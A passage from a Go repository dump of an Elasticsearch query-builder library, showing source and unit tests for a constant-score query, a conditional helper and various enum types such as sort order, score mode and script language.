"{\"sum\":{\"field\":\"price\",\"meta\":{\"k1\":\"v1\",\"k2\":\"v2\"}}}", bodyJSON) 120 | } 121 | 122 | func Test_SumAgg_should_have_Aggs_method(t *testing.T) { 123 | t.Parallel() 124 | // Given 125 | a := es.SumAgg("price") 126 | 127 | // When Then 128 | assert.NotNil(t, a.Aggs) 129 | } 130 | 131 | func Test_Aggs_should_add_aggs_field_into_SumAgg_when_not_empty(t *testing.T) { 132 | t.Parallel() 133 | // Given 134 | a := es.SumAgg("price").Aggs(es.Agg("sum_stock", es.SumAgg("stock"))) 135 | 136 | // When Then 137 | assert.NotNil(t, a) 138 | bodyJSON := assert.MarshalWithoutError(t, a) 139 | assert.Equal(t, "{\"aggs\":{\"sum_stock\":{\"sum\":{\"field\":\"stock\"}}},\"sum\":{\"field\":\"price\"}}", bodyJSON) 140 | } 141 | 142 | func Test_Aggs_should_not_add_aggs_field_into_SumAgg_when_it_is_empty(t *testing.T) { 143 | t.Parallel() 144 | // Given 145 | a := es.SumAgg("price").Aggs(nil) 146 | 147 | // When Then 148 | assert.NotNil(t, a) 149 | bodyJSON := assert.MarshalWithoutError(t, a) 150 | assert.Equal(t, "{\"sum\":{\"field\":\"price\"}}", bodyJSON) 151 | } 152 | -------------------------------------------------------------------------------- /es/condition/if.go: -------------------------------------------------------------------------------- 1 | package condition 2 | 3 | // If returns the provided `item` if `condition` is true; otherwise, it returns nil. 4 | // This function is generic and operates on maps with string keys or slices of any type. 5 | // 6 | // Parameters: 7 | // - item: The map or slice to potentially return if the condition is met. 8 | // - condition: A boolean that determines if `item` should be returned. 9 | // 10 | // Returns: 11 | // - The original `item` (map or slice) if `condition` is true, otherwise nil. 12 | // 13 | // Example usage: 14 | // 15 | // result := condition.If(es.Object{"key": "value"}, true) 16 | // // result is es.Object{"key": "value"} 17 | // 18 | // result = condition.If(es.Object{"key": "value"}, false) 19 | // // result is nil 20 | func If[T ~map[string]any | ~[]any](item T, condition bool) T { 21 | if !condition { 22 | return nil 23 | } 24 | return item 25 | } 26 | -------------------------------------------------------------------------------- /es/condition/if_test.go: -------------------------------------------------------------------------------- 1 | package condition_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/es/condition" 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_Condition_If_should_add_Term_When_condition_is_true(t *testing.T) { 12 | t.Parallel() 13 | // Given 14 | cond := true 15 | 16 | // When 17 | query := es.NewQuery( 18 | es.Bool(). 19 | Filter( 20 | condition.If(es.Term("language", "en"), cond), 21 | es.Exists("brandId"), 22 | ), 23 | ) 24 | 25 | // Then 26 | assert.NotNil(t, query) 27 | bodyJSON := assert.MarshalWithoutError(t, query) 28 | // nolint:golint,lll 29 | assert.Equal(t, "{\"query\":{\"bool\":{\"filter\":[{\"term\":{\"language\":{\"value\":\"en\"}}},{\"exists\":{\"field\":\"brandId\"}}]}}}", bodyJSON) 30 | } 31 | 32 | func Test_Condition_If_should_not_add_Term_When_condition_is_not_true(t *testing.T) { 33 | t.Parallel() 34 | // Given 35 | cond := false 36 | 37 | // When 38 | query := es.NewQuery( 39 | es.Bool(). 40 | Filter( 41 | condition.If(es.Term("language", "en"), cond), 42 | es.Exists("brandId"), 43 | ), 44 | ) 45 | 46 | // Then 47 | assert.NotNil(t, query) 48 | bodyJSON := assert.MarshalWithoutError(t, query) 49 | assert.Equal(t, "{\"query\":{\"bool\":{\"filter\":[{\"exists\":{\"field\":\"brandId\"}}]}}}", bodyJSON) 50 | } 51 | 52 | func Test_Condition_If_should_work_with_slices(t *testing.T) { 53 | t.Parallel() 54 | // Given 55 | cond := true 56 | 57 | // When 58 | result := condition.If(es.Array{1, 2, 3, 4}, cond) 59 | 60 | // Then 61 | assert.NotNil(t, result) 62 | bodyJSON := assert.MarshalWithoutError(t, result) 63 | assert.Equal(t, "[1,2,3,4]", bodyJSON) 64 | } 65 | -------------------------------------------------------------------------------- /es/constant_score_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type constantScoreType Object 4 | 5 | // ConstantScore creates a new es.constantScoreType object to apply a constant score to matching documents. 6 | // 7 | // This function initializes an es.constantScoreType object that wraps a given filter query, 8 | // ensuring that all matching documents receive the same score instead of being influenced 9 | // by relevance calculations. The filter parameter represents the query used to determine 10 | // which documents match. 11 | // 12 | // Example usage: 13 | // 14 | // cs := es.ConstantScore(es.Term("status", "active")) 15 | // // cs now contains an es.constantScoreType object that applies a constant score to documents 16 | // // matching the "status" field with the value "active". 17 | // 18 | // Parameters: 19 | // - filter: An object representing the filter query. It must be a valid query type. 20 | // 21 | // Returns: 22 | // 23 | // An es.constantScoreType object that applies a constant score to the specified filter query. 24 | func ConstantScore(filter any) constantScoreType { 25 | field, ok := correctType(filter) 26 | if !ok { 27 | return nil 28 | } 29 | return constantScoreType{ 30 | "constant_score": Object{ 31 | "filter": field, 32 | }, 33 | } 34 | } 35 | 36 | // Name sets the "_name" parameter in an es.constantScoreType query. 37 | // 38 | // This method assigns a custom name to the constant score query, which can be useful 39 | // for debugging and identifying specific queries in the search response. The assigned 40 | // name appears in the query profile and allows easier tracking of query execution. 41 | // 42 | // Example usage: 43 | // 44 | // cs := es.ConstantScore(es.Term("status", "active")).Name("status_filter") 45 | // // cs now includes a "_name" parameter set to "status_filter". 46 | // 47 | // Parameters: 48 | // - name: A string representing the custom name for the constant score query. 49 | // 50 | // Returns: 51 | // 52 | // The updated es.constantScoreType object with the "_name" parameter set. 53 | func (cs constantScoreType) Name(name string) constantScoreType { 54 | return cs.putInTheField("_name", name) 55 | } 56 | 57 | // Boost sets the "boost" parameter in an es.constantScoreType query. 58 | // 59 | // This method allows you to specify a boost factor for the constant score query, 60 | // which influences the relevance score of matching documents. A higher boost value 61 | // increases the importance of the query in the overall score, ensuring that documents 62 | // satisfying the filter receive a proportionally higher score. 63 | // 64 | // Example usage: 65 | // 66 | // cs := es.ConstantScore(es.Term("status", "active")).Boost(2.0) 67 | // // cs now includes a "boost" parameter set to 2.0. 68 | // 69 | // Parameters: 70 | // - boost: A float64 value representing the boost factor for the constant 71 | // score query. 72 | // 73 | // Returns: 74 | // 75 | // The updated es.constantScoreType object with the "boost" parameter set. 76 | func (cs constantScoreType) Boost(boost float64) constantScoreType { 77 | return cs.putInTheField("boost", boost) 78 | } 79 | 80 | func (cs constantScoreType) putInTheField(key string, value any) constantScoreType { 81 | if constantScore, ok := cs["constant_score"].(Object); ok { 82 | constantScore[key] = value 83 | } 84 | return cs 85 | } 86 | -------------------------------------------------------------------------------- /es/constant_score_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | func Test_ConstantScore_should_exist_on_es_package(t *testing.T) { 11 | t.Parallel() 12 | // Given When Then 13 | assert.NotNil(t, es.ConstantScore) 14 | } 15 | 16 | func Test_ConstantScore_should_create_json_with_constant_score_field_inside_query(t *testing.T) { 17 | t.Parallel() 18 | // Given 19 | query := es.NewQuery( 20 | es.ConstantScore(es.Term("name", "Göksel")), 21 | ) 22 | 23 | // When Then 24 | assert.NotNil(t, query) 25 | bodyJSON := assert.MarshalWithoutError(t, query) 26 | assert.Equal(t, "{\"query\":{\"constant_score\":{\"filter\":{\"term\":{\"name\":{\"value\":\"Göksel\"}}}}}}", bodyJSON) 27 | } 28 | 29 | func Test_ConstantScore_method_should_create_constantScoreType(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | constantScore := es.ConstantScore(es.Term("pi", 3.1415926535897)) 33 | 34 | // Then 35 | assert.NotNil(t, constantScore) 36 | assert.IsTypeString(t, "es.constantScoreType", constantScore) 37 | } 38 | 39 | func Test_ConstantScore_should_have_Boost_method(t *testing.T) { 40 | t.Parallel() 41 | // Given 42 | constantScore := es.ConstantScore(nil) 43 | 44 | // When Then 45 | assert.NotNil(t, constantScore.Boost) 46 | } 47 | 48 | func Test_ConstantScore_Boost_should_create_json_with_boost_field_inside_constant_score(t *testing.T) { 49 | t.Parallel() 50 | // Given 51 | query := es.NewQuery( 52 | es.ConstantScore( 53 | es.Range("timestamp"). 54 | GreaterThan("2020"), 55 | ).Boost(3.14), 56 | ) 57 | 58 | // When Then 59 | assert.NotNil(t, query) 60 | bodyJSON := assert.MarshalWithoutError(t, query) 61 | assert.Equal(t, "{\"query\":{\"constant_score\":{\"boost\":3.14,\"filter\":{\"range\":{\"timestamp\":{\"gt\":\"2020\"}}}}}}", bodyJSON) 62 | } 63 | 64 | func Test_ConstantScore_should_have_Name_method(t *testing.T) { 65 | t.Parallel() 66 | // Given 67 | constantScore := es.ConstantScore(nil) 68 | 69 | // When Then 70 | assert.NotNil(t, constantScore.Boost) 71 | } 72 | 73 | func Test_ConstantScore_Name_should_create_json_with__name_field_inside_constant_score(t *testing.T) { 74 | t.Parallel() 75 | // Given 76 | query := es.NewQuery( 77 | es.ConstantScore( 78 | es.Range("timestamp"). 79 | GreaterThan("2020"), 80 | ).Name("query_name"), 81 | ) 82 | 83 | // When Then 84 | assert.NotNil(t, query) 85 | bodyJSON := assert.MarshalWithoutError(t, query) 86 | // nolint:golint,lll 87 | assert.Equal(t, "{\"query\":{\"constant_score\":{\"_name\":\"query_name\",\"filter\":{\"range\":{\"timestamp\":{\"gt\":\"2020\"}}}}}}", bodyJSON) 88 | } 89 | -------------------------------------------------------------------------------- /es/enums/collect-mode/collect_mode.go: -------------------------------------------------------------------------------- 1 | package collectmode 2 | 3 | // CollectMode represents the mode in which terms aggregation collects terms. 4 | // 5 | // This type specifies how terms are collected in the terms aggregation. 6 | // It determines whether Elasticsearch uses breadth-first or depth-first traversal 7 | // when gathering terms for aggregation. 8 | // 9 | // Example usage: 10 | // 11 | // collectMode := collect_mode.BreadthFirst 12 | // // collectMode now holds the value "breadth_first" for traversal type. 13 | // 14 | // Parameters: 15 | // - CollectMode: A type representing the collection mode for terms aggregation. 16 | // It can be either BreadthFirst or DepthFirst. 17 | // 18 | // Returns: 19 | // 20 | // The string representation of the collect mode type. 21 | type CollectMode string 22 | 23 | const ( 24 | // BreadthFirst indicates that terms should be collected using breadth-first traversal. 25 | // This method collects terms in a broader search space first and then refines the search. 26 | // It can be more memory efficient for certain cases. 27 | BreadthFirst CollectMode = "breadth_first" 28 | 29 | // DepthFirst indicates that terms should be collected using depth-first traversal. 30 | // This method collects terms in a more granular, depth-first manner, often leading to deeper analysis 31 | // on fewer terms at a time. 32 | // It may provide better precision in certain circumstances, but is more memory intensive. 33 | DepthFirst CollectMode = "depth_first" 34 | ) 35 | 36 | // String returns the string representation of the CollectMode. 37 | func (collectMode CollectMode) String() string { 38 | return string(collectMode) 39 | } 40 | -------------------------------------------------------------------------------- /es/enums/collect-mode/collect_mode_test.go: -------------------------------------------------------------------------------- 1 | package collectmode_test 2 | 3 | import ( 4 | "testing" 5 | 6 | CollectMode "github.com/trustingprom/es-query-builder/es/enums/collect-mode" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_CollectModeString(t *testing.T) { 12 | tests := []struct { 13 | collectMode CollectMode.CollectMode 14 | result string 15 | }{ 16 | {CollectMode.BreadthFirst, "breadth_first"}, 17 | {CollectMode.DepthFirst, "depth_first"}, 18 | } 19 | 20 | for _, test := range tests { 21 | t.Run(test.result, func(t *testing.T) { 22 | assert.Equal(t, test.result, test.collectMode.String()) 23 | }) 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /es/enums/execution-hint/execution_hint.go: -------------------------------------------------------------------------------- 1 | package executionhint 2 | 3 | // ExecutionHint represents the hint for how terms aggregation should be executed. 4 | // 5 | // This type specifies the method Elasticsearch should use to compute the terms 6 | // in a terms aggregation. It helps Elasticsearch optimize the aggregation 7 | // process based on the data and query structure. 8 | // 9 | // Example usage: 10 | // 11 | // executionHint := executionhint.GlobalOrdinals 12 | // // executionHint now holds the value "global_ordinals" for execution type. 13 | // 14 | // Parameters: 15 | // - ExecutionHint: A type representing the execution method for terms aggregation. 16 | // It can be either Map, GlobalOrdinals, or FieldData. 17 | // 18 | // Returns: 19 | // 20 | // The string representation of the execution hint type. 21 | type ExecutionHint string 22 | 23 | const ( 24 | // Map indicates that terms should be computed using a map-based approach. 25 | // This method processes the terms by mapping the values from the documents. 26 | // It is generally used for smaller data sets. 27 | Map ExecutionHint = "map" 28 | 29 | // GlobalOrdinals indicates that terms should be computed using global ordinals. 30 | // This method is more efficient for large datasets and high-cardinality fields. 31 | // It relies on a global ordinality to speed up computation and reduce memory usage. 32 | GlobalOrdinals ExecutionHint = "global_ordinals" 33 | 34 | // FieldData indicates that terms should be computed using fielddata. 35 | // This method uses fielddata for aggregations on text fields. 36 | // It is commonly used for text-based fields but can be memory-intensive. 37 | FieldData ExecutionHint = "fielddata" 38 | ) 39 | 40 | // String returns the string representation of the ExecutionHint. 41 | func (executionHint ExecutionHint) String() string { 42 | return string(executionHint) 43 | } 44 | -------------------------------------------------------------------------------- /es/enums/execution-hint/execution_hint_test.go: -------------------------------------------------------------------------------- 1 | package executionhint_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ExecutionHint "github.com/trustingprom/es-query-builder/es/enums/execution-hint" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_ExecutionHintString(t *testing.T) { 12 | tests := []struct { 13 | executionHint ExecutionHint.ExecutionHint 14 | result string 15 | }{ 16 | {ExecutionHint.Map, "map"}, 17 | {ExecutionHint.GlobalOrdinals, "global_ordinals"}, 18 | {ExecutionHint.FieldData, "fielddata"}, 19 | } 20 | 21 | for _, test := range tests { 22 | t.Run(test.result, func(t *testing.T) { 23 | assert.Equal(t, test.result, test.executionHint.String()) 24 | }) 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /es/enums/operator/operator.go: -------------------------------------------------------------------------------- 1 | package operator 2 | 3 | // Operator sets the "operator" field in the matchType object. 4 | // 5 | // This method specifies the logical operator used to combine multiple match conditions. 6 | // It updates the matchType object to include the provided operator for query matching. 7 | // 8 | // Example usage: 9 | // 10 | // match := es.Match("field", "value").Operator(Operator.And) 11 | // // match now has the "operator" field set to "and" in the es.matchType object. 12 | // 13 | // Parameters: 14 | // - operator: An Operator value representing the logical operator to use for combining match conditions. 15 | // It can be either Operator.Or or Operator.And. 16 | // 17 | // Returns: 18 | // 19 | // The updated es.matchType object with the "operator" field set to the specified operator. 20 | type Operator string 21 | 22 | const ( 23 | // Or indicates that conditions should be combined with a logical OR. 24 | Or Operator = "or" 25 | 26 | // And indicates that conditions should be combined with a logical AND. 27 | And Operator = "and" 28 | ) 29 | 30 | func (operator Operator) String() string { 31 | return string(operator) 32 | } 33 | -------------------------------------------------------------------------------- /es/enums/operator/operator_test.go: -------------------------------------------------------------------------------- 1 | package operator_test 2 | 3 | import ( 4 | "testing" 5 | 6 | Operator "github.com/trustingprom/es-query-builder/es/enums/operator" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_OperatorString(t *testing.T) { 12 | tests := []struct { 13 | operator Operator.Operator 14 | result string 15 | }{ 16 | {Operator.And, "and"}, 17 | {Operator.Or, "or"}, 18 | } 19 | 20 | for _, test := range tests { 21 | t.Run(test.result, func(t *testing.T) { 22 | assert.Equal(t, test.result, test.operator.String()) 23 | }) 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /es/enums/range-relation/range_relation.go: -------------------------------------------------------------------------------- 1 | package rangerelation 2 | 3 | // RangeRelation represents the relationship between two ranges in a query. 4 | // 5 | // RangeRelation is a string type that specifies how a range interacts with another range. 6 | // It is commonly used in range queries, especially in geospatial or numeric data contexts. 7 | // 8 | // Constants: 9 | // - Within: Specifies that the range is entirely within another range. 10 | // - Contains: Specifies that the range entirely contains another range. 11 | // - Intersects: Specifies that the range overlaps or intersects with another range. 12 | // 13 | // Example usage: 14 | // 15 | // var relation RangeRelation = Within 16 | // 17 | // // Use relation in a range query configuration. 18 | type RangeRelation string 19 | 20 | const ( 21 | // Within specifies that the range is entirely within another range. 22 | Within RangeRelation = "within" 23 | 24 | // Contains specifies that the range entirely contains another range. 25 | Contains RangeRelation = "contains" 26 | 27 | // Intersects specifies that the range overlaps or intersects with another range. 28 | Intersects RangeRelation = "intersects" 29 | ) 30 | 31 | func (rangeRelation RangeRelation) String() string { 32 | return string(rangeRelation) 33 | } 34 | -------------------------------------------------------------------------------- /es/enums/range-relation/range_relation_test.go: -------------------------------------------------------------------------------- 1 | package rangerelation_test 2 | 3 | import ( 4 | "testing" 5 | 6 | RangeRelation "github.com/trustingprom/es-query-builder/es/enums/range-relation" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_RangeRelationString(t *testing.T) { 12 | tests := []struct { 13 | relation RangeRelation.RangeRelation 14 | result string 15 | }{ 16 | {RangeRelation.Within, "within"}, 17 | {RangeRelation.Contains, "contains"}, 18 | {RangeRelation.Intersects, "intersects"}, 19 | } 20 | 21 | for _, test := range tests { 22 | t.Run(test.result, func(t *testing.T) { 23 | assert.Equal(t, test.result, test.relation.String()) 24 | }) 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /es/enums/score-mode/score_mode.go: -------------------------------------------------------------------------------- 1 | package scoremode 2 | 3 | // ScoreMode represents the different scoring modes for nested queries. 4 | // 5 | // ScoreMode is a string type used to specify how scores should be calculated and 6 | // combined for nested queries in search queries. It provides various options for 7 | // aggregating scores of nested documents. 8 | // 9 | // Example usage: 10 | // 11 | // var mode ScoreMode = Sum 12 | // 13 | // // Use mode in a nested query configuration 14 | // 15 | // Constants: 16 | // - Avg: Average score of the nested documents. 17 | // - Max: Maximum score of the nested documents. 18 | // - Min: Minimum score of the nested documents. 19 | // - None: No scoring for the nested documents. 20 | // - Sum: Sum of the scores of the nested documents. 21 | type ScoreMode string 22 | 23 | const ( 24 | // Avg indicates that the average score of nested documents should be used. 25 | Avg ScoreMode = "avg" 26 | 27 | // Max indicates that the maximum score among nested documents should be used. 28 | Max ScoreMode = "max" 29 | 30 | // Min indicates that the minimum score among nested documents should be used. 31 | Min ScoreMode = "min" 32 | 33 | // None indicates that no scoring should be applied to nested documents. 34 | None ScoreMode = "none" 35 | 36 | // Sum indicates that the sum of the scores of nested documents should be used. 37 | Sum ScoreMode = "sum" 38 | ) 39 | 40 | func (scoreMode ScoreMode) String() string { 41 | return string(scoreMode) 42 | } 43 | -------------------------------------------------------------------------------- /es/enums/score-mode/score_mode_test.go: -------------------------------------------------------------------------------- 1 | package scoremode_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScoreMode "github.com/trustingprom/es-query-builder/es/enums/score-mode" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_ScoreModeString(t *testing.T) { 12 | tests := []struct { 13 | mode ScoreMode.ScoreMode 14 | result string 15 | }{ 16 | {ScoreMode.Avg, "avg"}, 17 | {ScoreMode.Max, "max"}, 18 | {ScoreMode.Min, "min"}, 19 | {ScoreMode.None, "none"}, 20 | {ScoreMode.Sum, "sum"}, 21 | } 22 | 23 | for _, test := range tests { 24 | t.Run(test.result, func(t *testing.T) { 25 | assert.Equal(t, test.result, test.mode.String()) 26 | }) 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /es/enums/script-language/script_language.go: -------------------------------------------------------------------------------- 1 | package scriptlanguage 2 | 3 | // ScriptLanguage represents the different scripting languages supported by Elasticsearch. 4 | // 5 | // ScriptLanguage is a string type used to specify the language of a script in Elasticsearch queries. 6 | // It defines various options for scripting, allowing users to perform advanced calculations, 7 | // filtering, and custom scoring within search queries. 8 | // 9 | // Example usage: 10 | // 11 | // var lang ScriptLanguage = Painless 12 | // 13 | // // Use lang in a script configuration 14 | // 15 | // Constants: 16 | // - Painless: The default and most efficient scripting language in Elasticsearch. 17 | // - Expression: A lightweight, fast scripting language for numeric calculations. 18 | // - Mustache: A template-based scripting language used for rendering responses. 19 | // - Java: A scripting option that allows Java code execution within queries. 20 | type ScriptLanguage string 21 | 22 | const ( 23 | // Painless is the default scripting language in Elasticsearch, optimized for performance and security. 24 | Painless ScriptLanguage = "painless" 25 | 26 | // Expression is a simple and fast scripting language for numeric computations. 27 | Expression ScriptLanguage = "expression" 28 | 29 | // Mustache is a templating language used for response rendering in Elasticsearch. 30 | Mustache ScriptLanguage = "mustache" 31 | 32 | // Java allows executing Java-based scripts in Elasticsearch. 33 | Java ScriptLanguage = "java" 34 | ) 35 | 36 | // String returns the string representation of the ScriptLanguage. 37 | func (scriptLanguage ScriptLanguage) String() string { 38 | return string(scriptLanguage) 39 | } 40 | -------------------------------------------------------------------------------- /es/enums/script-language/script_language_test.go: -------------------------------------------------------------------------------- 1 | package scriptlanguage_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_ScriptLanguageString(t *testing.T) { 12 | tests := []struct { 13 | scriptLanguage ScriptLanguage.ScriptLanguage 14 | result string 15 | }{ 16 | {ScriptLanguage.Painless, "painless"}, 17 | {ScriptLanguage.Expression, "expression"}, 18 | {ScriptLanguage.Mustache, "mustache"}, 19 | {ScriptLanguage.Java, "java"}, 20 | } 21 | 22 | for _, test := range tests { 23 | t.Run(test.result, func(t *testing.T) { 24 | assert.Equal(t, test.result, test.scriptLanguage.String()) 25 | }) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /es/enums/sort/mode/mode.go: -------------------------------------------------------------------------------- 1 | package mode 2 | 3 | // Mode represents various aggregation modes for queries or operations. 4 | // 5 | // Mode is a string type used to specify different ways to aggregate or process 6 | // values in queries. It provides various options for combining or analyzing data. 7 | // 8 | // Example usage: 9 | // 10 | // var mode Mode = Sum 11 | // 12 | // // Use mode in a query or operation configuration 13 | // 14 | // Constants: 15 | // - Min: Minimum value from the set of values. 16 | // - Max: Maximum value from the set of values. 17 | // - Sum: Sum of all values in the set. 18 | // - Avg: Average of all values in the set. 19 | // - Median: Median value from the set of values. 20 | // - Default: The default aggregation mode, typically used as a fallback. 21 | type Mode string 22 | 23 | const ( 24 | // Min indicates that the minimum value from the set should be used. 25 | Min Mode = "min" 26 | 27 | // Max indicates that the maximum value from the set should be used. 28 | Max Mode = "max" 29 | 30 | // Sum indicates that the sum of all values in the set should be used. 31 | Sum Mode = "sum" 32 | 33 | // Avg indicates that the average of all values in the set should be used. 34 | Avg Mode = "avg" 35 | 36 | // Median indicates that the median value from the set should be used. 37 | Median Mode = "median" 38 | 39 | // Default indicates the default aggregation mode, used as a fallback or if no specific mode is provided. 40 | Default Mode = "_default" 41 | ) 42 | 43 | func (mode Mode) String() string { 44 | return string(mode) 45 | } 46 | -------------------------------------------------------------------------------- /es/enums/sort/mode/mode_test.go: -------------------------------------------------------------------------------- 1 | package mode_test 2 | 3 | import ( 4 | "testing" 5 | 6 | Mode "github.com/trustingprom/es-query-builder/es/enums/sort/mode" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_ModeString(t *testing.T) { 12 | tests := []struct { 13 | mode Mode.Mode 14 | result string 15 | }{ 16 | {Mode.Min, "min"}, 17 | {Mode.Max, "max"}, 18 | {Mode.Sum, "sum"}, 19 | {Mode.Avg, "avg"}, 20 | {Mode.Median, "median"}, 21 | {Mode.Default, "_default"}, 22 | } 23 | 24 | for _, test := range tests { 25 | t.Run(test.result, func(t *testing.T) { 26 | assert.Equal(t, test.result, test.mode.String()) 27 | }) 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /es/enums/sort/order/order.go: -------------------------------------------------------------------------------- 1 | package order 2 | 3 | // Order represents the sorting order for queries or operations. 4 | // 5 | // Order is a string type used to specify the direction of sorting or ordering 6 | // for query results or data operations. It provides options for ascending or 7 | // descending order, as well as a default sorting option. 8 | // 9 | // Example usage: 10 | // 11 | // var order Order = Asc 12 | // 13 | // // Use order in a query or operation configuration 14 | // 15 | // Constants: 16 | // - Asc: Ascending order for sorting or ordering. 17 | // - Desc: Descending order for sorting or ordering. 18 | // - Default: The default sorting order, typically used as a fallback. 19 | type Order string 20 | 21 | const ( 22 | // Asc indicates that the results should be sorted in ascending order. 23 | Asc Order = "asc" 24 | 25 | // Desc indicates that the results should be sorted in descending order. 26 | Desc Order = "desc" 27 | 28 | // Default indicates the default sorting order, used as a fallback or if no specific order is provided. 29 | Default Order = "_default" 30 | ) 31 | 32 | func (order Order) String() string { 33 | return string(order) 34 | } 35 | -------------------------------------------------------------------------------- /es/enums/sort/order/order_test.go: -------------------------------------------------------------------------------- 1 | package order_test 2 | 3 | import ( 4 | "testing" 5 | 6 | Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func TestOrderString(t *testing.T) { 12 | tests := []struct { 13 | mode Order.Order 14 | result string 15 | }{ 16 | {Order.Asc, "asc"}, 17 | {Order.Desc, "desc"}, 18 | {Order.Default, "_default"}, 19 | } 20 | 21 | for _, test := range tests { 22 | t.Run(test.result, func(t *testing.T) { 23 | assert.Equal(t, test.result, test.mode.String()) 24 | }) 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /es/enums/text-query-type/text_query_type.go: -------------------------------------------------------------------------------- 1 | package textquerytype 2 | 3 | // TextQueryType represents the type of text query to use in query string queries. 4 | // 5 | // TextQueryType is a string type that defines how the query text is analyzed and matched 6 | // against fields in the search index. It allows specifying various query strategies 7 | // based on the desired behavior. 8 | // 9 | // Constants: 10 | // - Bestfields: Use the best matching fields for scoring. 11 | // - Mostfields: Combine scores from all matching fields. 12 | // - Crossfields: Treat matching fields as a single field. 13 | // - Phrase: Match terms as a phrase. 14 | // - Phraseprefix: Match terms as a phrase with a prefix. 15 | // - Boolprefix: Use a boolean query with prefix matching. 16 | // 17 | // Example usage: 18 | // 19 | // var queryType TextQueryType = Bestfields 20 | // 21 | // // Use queryType in a query string configuration. 22 | type TextQueryType string 23 | 24 | const ( 25 | // Bestfields indicates that the best matching fields should be used for scoring. 26 | Bestfields TextQueryType = "best_fields" 27 | 28 | // Mostfields indicates that the scores from all matching fields should be combined. 29 | Mostfields TextQueryType = "most_fields" 30 | 31 | // Crossfields indicates that matching fields should be treated as a single field. 32 | Crossfields TextQueryType = "cross_fields" 33 | 34 | // Phrase indicates that terms should be matched as a phrase. 35 | Phrase TextQueryType = "phrase" 36 | 37 | // Phraseprefix indicates that terms should be matched as a phrase with a prefix. 38 | Phraseprefix TextQueryType = "phrase_prefix" 39 | 40 | // Boolprefix indicates that a boolean query with prefix matching should be used. 41 | Boolprefix TextQueryType = "bool_prefix" 42 | ) 43 | 44 | func (textQueryType TextQueryType) String() string { 45 | return string(textQueryType) 46 | } 47 | -------------------------------------------------------------------------------- /es/enums/text-query-type/text_query_type_test.go: -------------------------------------------------------------------------------- 1 | package textquerytype_test 2 | 3 | import ( 4 | "testing" 5 | 6 | TextQueryType "github.com/trustingprom/es-query-builder/es/enums/text-query-type" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_TextQueryTypeString(t *testing.T) { 12 | tests := []struct { 13 | textQueryType TextQueryType.TextQueryType 14 | result string 15 | }{ 16 | {TextQueryType.Bestfields, "best_fields"}, 17 | {TextQueryType.Mostfields, "most_fields"}, 18 | {TextQueryType.Crossfields, "cross_fields"}, 19 | {TextQueryType.Phrase, "phrase"}, 20 | {TextQueryType.Phraseprefix, "phrase_prefix"}, 21 | {TextQueryType.Boolprefix, "bool_prefix"}, 22 | } 23 | 24 | for _, test := range tests { 25 | t.Run(test.result, func(t *testing.T) { 26 | assert.Equal(t, test.result, test.textQueryType.String()) 27 | }) 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /es/enums/zero-terms-query/zero_terms_query.go: -------------------------------------------------------------------------------- 1 | package zerotermsquery 2 | 3 | // ZeroTermsQuery sets the "zero_terms_query" field in the es.matchType object. 4 | // 5 | // This method specifies the behavior of the match query when no terms remain after analysis, 6 | // such as when all terms are stop words. It updates the es.matchType object to include the provided 7 | // zeroTermsQuery value, which determines how the query should respond in this scenario. 8 | // 9 | // Example usage: 10 | // 11 | // match := es.Match("field", "value").ZeroTermsQuery(ZeroTermsQuery.All) 12 | // // match now has the "zero_terms_query" field set to "all" in the es.matchType object. 13 | // 14 | // Parameters: 15 | // - zeroTermsQuery: A ZeroTermsQuery value indicating the behavior for zero-term queries. 16 | // It can be either ZeroTermsQuery.All or ZeroTermsQuery.None. 17 | // 18 | // Returns: 19 | // 20 | // The updated es.matchType object with the "zero_terms_query" field set to the specified value. 21 | type ZeroTermsQuery string 22 | 23 | const ( 24 | // All indicates that all documents should be matched when no terms remain. 25 | All ZeroTermsQuery = "all" 26 | 27 | // None indicates that no documents should be matched when no terms remain. 28 | None ZeroTermsQuery = "none" 29 | ) 30 | 31 | func (zeroTermsQuery ZeroTermsQuery) String() string { 32 | return string(zeroTermsQuery) 33 | } 34 | -------------------------------------------------------------------------------- /es/enums/zero-terms-query/zero_terms_query_test.go: -------------------------------------------------------------------------------- 1 | package zerotermsquery_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ZeroTermsQuery "github.com/trustingprom/es-query-builder/es/enums/zero-terms-query" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func Test_ZeroTermsQueryString(t *testing.T) { 12 | tests := []struct { 13 | zeroTermsQuery ZeroTermsQuery.ZeroTermsQuery 14 | result string 15 | }{ 